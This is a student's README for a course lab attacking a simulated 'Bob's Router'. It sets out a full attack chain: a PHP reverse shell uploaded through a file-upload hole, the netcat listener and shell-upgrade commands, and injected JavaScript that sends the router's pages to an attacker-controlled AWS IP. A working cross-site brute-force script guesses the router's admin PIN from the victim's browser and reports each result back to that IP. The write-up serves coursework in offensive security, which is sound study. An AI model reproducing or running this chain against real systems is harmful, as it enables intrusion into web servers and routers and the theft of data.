README

CS162 Bob's Router

March 11, 2019

Contents

1 Summary

This is the readme file for Bob's Router project. I have successfully gained access to Bob's router's admin page, but failed to advance further. Nonetheless, here's all the work I've done.

2 Reverse-shell in the FLAG Portal

To launch csrf attack against Bob, we need to alter the content of the FLAG portal. To do this, I took advantage of the file upload vulnerability in the

FLAG portal and uploaded a php script under the extension ".pdf.php". The script will open a socket to my own server at port 1234, and forward my command to "/bin/sh" and sends back all the output, creating a reverse-shell for me.

Then I start listening on port 1234 on my own server using the following netcat command:

```
nc -vnlp 1234
```

Next, I naviagte to my own "grade" page and chose to view the submitted file, which in turn executes the php script and gives me a reverse-shell:

```
ubuntu@ip-172-31-40-233:~$ nc -vnlp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 35.186.175.202 57538 received!
Linux flag-txiaotin 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27)
x86_64 GNU/Linux
 17:35:11 up 24 days, 19:30,  0 users,  load average: 0.00, 0.00,
0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```

Next, I want to edit the template file so as to inject a script tag in the landing page. However, the reverse-shell I have now isn't interactive enough to support real-time editting, so I have to upgrade this reverse-shell to something better. Most of the enhancement is from this blog `https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/`.

First, I use python's pseudo-terminal utilities to spawn a bash session in replace of the sh session:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Next, I stop the reverse-shell temporarily by pressing Ctrl-Z and went back to my original shell. Then I use the stty utility to change my terminal settings to raw mode and echo input characters:

```
stty raw -echo
```

Then I type "fg" to get back my reverse shell.

Then I type "reset" to reset the shell. It prompts for the type of shell I want. I type "xterm". Then I get a good bash reverse-shell with full interactive ability. Finally I try to fix some display issues:

```
export TERM=xterm
stty rows 50 columns 150
```

Now I can use editors like vi without any problem.

3 Inject script

To begin with, I need to have a way of telling Bob's behavior, so I rent an AWS server with a public IP. In the script, I will sent a message to that server indicating the state of Bob's behavior. The first step is to send a GET request to the address `http://router.local` from Bob's browser. I used the following script to do so.

```
var xhr = new XMLHttpRequest();
xhr.onload = function (e) {
    var xhr2 = new XMLHttpRequest();
    xhr2.open('POST', 'http://<aws-ip>:8888', true);
    xhr2.send('msg=' + xhr.response);
}
xhr.open('GET', 'http:router.local');
xhr.send('');
```

Using this script, I get the html page for Bob's router:

```
<html>
    <head>n
<link href='https://fonts.googleapis.com/css?family=Jura:400,500,600,300'
rel='stylesheet' type='text/css'>
<link rel="stylesheet" type="text/css" href="index.css">
    </head>

    <body>
<div id="loginDiv">
    <img src="http://hmapr.com/wp-content/uploads/2011/07/secure-lock.png"/>
    <h1>CISCO Administration Portal</h1>
    <h2>Authentication Required</h2>
</div>

<div id="loginForm">
```

```
    <form id="login_form" action="login.php" method="POST" onsubmit="return
validateLoginForm()" ><input type="hidden" name="PHPSESSID" value="ohbjbcgmsm15p7kot6s
/>
<input type="text" name="username" placeholder="jcarberry"/>
<input type="password" name="pin" placeholder="1234"/>
<p>I am not a robot <input type="radio" name="notRobot"/></p>
<input type="submit" value="Submit"/>
    </form>
</div>
    </body>
    <script>
function validateLoginForm() {
    form = document.getElementById("login_form");
    if (!form["notRobot"].checked) {
alert("You must not be a robot in order to submit this form.");
return false;
    }
}
    </script>
</html>
```

In this html is a login form with four important fields: PHPSESSID, username, pin and notRobot. I suspect that PHPSESSID is required by the server, so I have to send back the same PHPSESSID in order for my request to be recognized. The username is usually, to my experience, "admin". The radio checker "notRobot"'s correct value should be "on", indicating that it's selected. The rest of the puzzle is the pin.

I noticed that its placeholder is "1234", which might indicate that it's a four-digit pin. There are 10000 4-digit pins and brute-forcing all of them shouldn't be too difficult.

4 Brute-force pin numbers

In order to automate the pin-guessing process, we need to sequentialize the guess. That is, we only sends the next guess after the previous guess fails. This is because that each time Bob sends a GET request to `http://router.local`, the PHPSESSID will be refreshed. If I simply create a bunch of POST requests with different pins, I cannot guarantee that the PHPSESSID contained in each request is valid by the time it reaches the router. It is also a waste of resource if some requests already succeed.

The solution I found is to use a recursive callbacks that generates new XMLHttpRequest if and only if the current request fails. The new XMLHttpRequest should also conatin the PHPSESSID returned from the previous request.

```
var START = 0;
var END = 1000;
var LOGINURL = 'http://router.local/login.php';
var xhrs = [];
function guessToPin(guess) {
return ('0000' + guess).substr(-4, 4);
}
function responseToSessID(response) {
return response.match(/[0-9a-z]{20,}/g)[0];
}
function isGoodResponse(response) {
var matched = response.match(/error/g);
return !matched || matched.length != 1;
}
function sendSuccessfulMessage(goodguess, html) {
var xhr4 = new XMLHttpRequest();
xhr4.open('POST', 'http://18.217.54.18:8888', true);
xhr4.send('pinnum=' + guessToPin(goodguess) + '&success=' + html);
xhrs.push(xhr4);
}
function sendAllFailMessage(badguess) {
var xhr4 = new XMLHttpRequest();
xhr4.open('POST', 'http://18.217.54.18:8888', true);
xhr4.send('pinnum=' + guessToPin(badguess) + '&ALLFAILED=true');
xhrs.push(xhr4);
}
function sendThisFailMessage(badguess) {
var xhr4 = new XMLHttpRequest();
xhr4.open('POST', 'http://18.217.54.18:8888', true);
xhr4.send('pinnum=' + guessToPin(badguess) + '&failed=true');
xhrs.push(xhr4);
}
function sendHereMessage() {
var xhr4 = new XMLHttpRequest();
xhr4.open('POST', 'http://18.217.54.18:8888', true);
```

```
xhr4.send('here=True');
xhrs.push(xhr4);
}
function composePOSTMessage(sessid, pin) {
  return 'PHPSESSID=' + sessid + '&username=admin&pin=' + pin + '&'
+ 'notRobot=on';
}
function process(response, currguess) {
if (isGoodResponse(response)) {
sendSuccessfulMessage(currguess, response);
return;
} else {
if (currguess == END) {
sendAllFailMessage(currguess);
return;
}
sendThisFailMessage(currguess);
var xhr5 = new XMLHttpRequest();
xhr5.open('POST', LOGINURL, true);
xhr5.onload = createFunc(xhr5, currguess + 1, true);
xhr5.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr5.send(composePOSTMessage(responseToSessID(response), guessToPin(currguess
+ 1)));
xhrs.push(xhr5);
}
}
function createFunc(xhr, currguess, guessed) {
return function(e) {
if (guessed) {
process(xhr.response, currguess);
} else {
var xhr3 = new XMLHttpRequest();
xhr3.open('POST', LOGINURL, true);
xhr3.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr3.onload = function(event) {
process(xhr3.response, currguess);
};
xhr3.send(composePOSTMessage(responseToSessID(xhr.response), guessToPin(currguess)));
xhrs.push(xhr3);
}
```

```
};
}
var xhr = new XMLHttpRequest();
var f = createFunc(xhr, START, false);
xhr.onload = f;
xhr.open('GET', 'http:router.local');
xhr.send('');
xhrs.push(xhr);
```

In the script, we first create a new XMLHttpRequest, bind a callback, and sends a GET request to the router. The callback will create another POST request along with the first guess (START), bind it with the same callback, and send it to `http://router.local/login.php`. Each time we receive a response from the POST request, we will examine whether it's a good response. If it is, we send the full response to my AWS server and terminate the recursive callbacks. If not, we launch the next guess with PHPSESSID extracted from the current response.

To dertermine whether it's a good response, I look for the string "error" in the response. If it's present, the response is bad and the guess has failed. If not, then the response is good and the guess has succeeded.

An important detail is that we have to set the "Content-Type" header to "application/x-www-form-urlencoded" or the router will not recognize our request.

Finally, Bob will refresh every 15 seconds, meaning that we only have a time window of 15 seconds to do our guess work. Through experiement I found that we can only do about 1500 guesses within 1500 seconds. As a result, I have to manually edit the script every 15 seconds so as to cover all the pins from 0000 to 9999.

After some attempts, I get a success message indicating that the correct pin is 6607 and the admin pages' html:

```
<html>
    <head>
<link href='https://fonts.googleapis.com/css?family=Jura:400,500,600,300'
rel='stylesheet' type='text/css'>
<link rel="stylesheet" type="text/css" href="home.css">
    </head>
    <body>
<h1> Welcome, Admin! </h1>
<h2> Router Stats </h2>
    </body>
```

```
    <p style='color: white'>Router status: OK</p><p style='color:
white'>Packets Dropped: 621/s</p><p style='color: white'>Upload speed:
8MB/s</p><p style='color: white'>Download speed: 17MB/s</p><p style='color:
white'>Default Gateway: 192.168.1.1</p><p style='color: white'>Primary
DNS: 8.8.4.4</p></html>
```

5 Next step

The admin's page looks ok, but not interesting enough for us to find one more vulnerability for Remote Code Execution. The page contains zero input field and no further url references. One thing that I think is interesting is three status lines: Upload speed, Download speed and the default gateway.

I tried to make Bob send GET request to the default gateway at 192.168.1.1, but no response came back, indicating that 192.168.1.1 in Bob's local network does not have port 80 open.

I suspect that there are some very important urls I am missing here. But I am not able to find them.

What I had in mind was to abuse some vulnerabilities to overide one particular php script with a reverse-shell like what I did with the FLAG Portal.

6 Files and how they are used

6.1 brute-force-pin.js

This is the script to brute-force the pin numbers.

6.2 collector.py

Contains a tornado web server that listens to port 8888 and prints any incoming messages.

6.3 finder.py

Searchs for successful in a "log.txt" (I used it once before I optimize brute-force-pin.js to only send successful messages in full)

6.4 index.html

The router's landing page.

6.5 admin.html

The router's admin page after successful authentication.

6.6 fake

A folder with index.php, login.php and a few css files that simulates the router's web server's structure. I used it for testing brute-force-pin.js to check for any programming errors.